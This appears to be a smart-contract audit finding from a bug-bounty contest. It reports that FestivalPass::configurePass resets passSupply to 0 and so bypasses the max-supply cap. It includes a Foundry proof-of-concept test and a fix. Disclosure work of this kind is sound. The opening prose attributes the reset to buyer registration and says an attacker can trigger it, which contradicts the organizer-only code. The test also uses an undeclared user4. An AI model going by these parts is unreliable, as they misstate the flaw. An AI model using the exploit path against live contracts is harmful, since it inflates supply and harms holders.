State variable passSupply is overwritten when a new buyer is recorded, resetting supply to 0 despite tokens already being minted.
Total supply state becomes inaccurate; minted tokens are untracked, leading to potential double-mint exploits.
The passSupply state variable is responsible for tracking the total number of passes that have been minted within the contract. However, a critical flaw exists in the buyer registration flow: whenever a new buyer is recorded, passSupply is re-assigned back to its initial value of 0, rather than being preserved or incremented correctly.
This is particularly dangerous because minting occurs prior to the buyer registration step. By the time the reset happens, tokens are already live on-chain with valid ownership records — yet the contract's internal counter no longer reflects this. The desynchronization between the actual circulating supply and the value stored in passSupply breaks any downstream logic that relies on this variable, such as supply caps, mint guards, or royalty calculations.
An attacker can exploit this by triggering a fresh buyer registration after an initial mint batch, causing passSupply to reset to 0. The contract will then incorrectly believe no passes have been minted, allowing the attacker to bypass any require(passSupply < maxSupply) style checks and mint the entire supply a second time — effectively doubling the circulating supply beyond the intended cap.
Likelihood:
This vulnerability is rated High likelihood. This means the reset condition is triggered on every single change, whenever the admin want to change the price or else.
Impact:
This vulnerability is rated Critical impact. The corruption of passSupply undermines the core supply invariant of the contract. Any maximum supply enforcement that checks against passSupply becomes ineffective, allowing tokens to be minted far beyond the intended cap. This directly translates to asset inflation: existing holders see their passes diluted, and the project's economic model — especially if passes are tied to scarcity-based value — is broken. Additionally, any revenue splits, royalty calculations, or airdrop snapshots derived from passSupply will produce incorrect results, causing financial harm to both users and the protocol.
The core fix is to remove any assignment to passSupply from the buyer registration logic entirely — supply tracking must only happen inside the mint function. For additional safety, replace the manual counter with OpenZeppelin's Counters library, which provides atomic increment/decrement operations that cannot be accidentally overwritten. This ensures passSupply is the single source of truth and always stays in sync with the actual number of minted tokens.
# \[H-1] Reseting the current pass supply to `0` in the `FestivalPass::configurePass` function allows users to bypass the max supply cap of a pass ## Description: ```solidity function configurePass(uint256 passId, uint256 price, uint256 maxSupply) external onlyOrganizer { require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID"); require(price > 0, "Price must be greater than 0"); require(maxSupply > 0, "Max supply must be greater than 0"); passPrice[passId] = price; passMaxSupply[passId] = maxSupply; @> passSupply[passId] = 0; // Reset current supply } ``` If you reset `passSupply[passId]` to `0` in the `FestivalPass::configurePass` function after passes have been sold, the next buyer will be able to mint as if no passes have been sold. This allows the total minted passes to exceed `passMaxSupply`, which is a serious vulnerability (a supply cap bypass) ## Impact: * Supply caps become meaningless: The users can mint unlimited passes beyond the intended maximum supply * Pass scarcity and value are destroyed, affecting the economic model ## Proof of Concept: ```solidity function test_SupplyCapBypassVulnerability() public { // Step 1: Configure a pass with max supply of 2 vm.prank(organizer); festivalPass.configurePass(1, GENERAL_PRICE, 2); // Step 2: Buy 2 passes (reaching max supply) vm.prank(user1); festivalPass.buyPass{value: GENERAL_PRICE}(1); vm.prank(user2); festivalPass.buyPass{value: GENERAL_PRICE}(1); // Verify max supply reached assertEq(festivalPass.passSupply(1), 2); assertEq(festivalPass.passMaxSupply(1), 2); // Step 3: Try to buy another pass - should fail address user3 = makeAddr("user3"); vm.deal(user3, 10 ether); vm.prank(user3); vm.expectRevert("Max supply reached"); festivalPass.buyPass{value: GENERAL_PRICE}(1); // Step 4: VULNERABILITY - Organizer reconfigures the pass // This resets passSupply[1] to 0, bypassing the supply cap! vm.prank(organizer); festivalPass.configurePass(1, GENERAL_PRICE, 2); // Step 5: Now we can buy more passes even though max supply was already reached vm.prank(user3); festivalPass.buyPass{value: GENERAL_PRICE}(1); // Step 6: We can even buy more passes beyond the original max supply vm.deal(user4, 10 ether); vm.prank(user4); festivalPass.buyPass{value: GENERAL_PRICE}(1); // Step 7: Verify the vulnerability - total supply exceeds max supply assertEq(festivalPass.passSupply(1), 2); // Current supply counter assertEq(festivalPass.passMaxSupply(1), 2); // Max supply limit // But we actually have 4 passes minted in total! assertEq(festivalPass.balanceOf(user1, 1), 1); assertEq(festivalPass.balanceOf(user2, 1), 1); assertEq(festivalPass.balanceOf(user3, 1), 1); assertEq(festivalPass.balanceOf(user4, 1), 1); // Total minted: 4 passes, but max supply is only 2! uint256 totalMinted = festivalPass.balanceOf(user1, 1) + festivalPass.balanceOf(user2, 1) + festivalPass.balanceOf(user3, 1) + festivalPass.balanceOf(user4, 1); assertGt(totalMinted, festivalPass.passMaxSupply(1), "VULNERABILITY: Total minted exceeds max supply!"); } ``` ## Recommended Mitigation: The `passSupply` reset should be removed ```diff function configurePass(uint256 passId, uint256 price, uint256 maxSupply) external onlyOrganizer { require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID"); require(price > 0, "Price must be greater than 0"); require(maxSupply > 0, "Max supply must be greater than 0"); passPrice[passId] = price; passMaxSupply[passId] = maxSupply; - passSupply[passId] = 0; } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.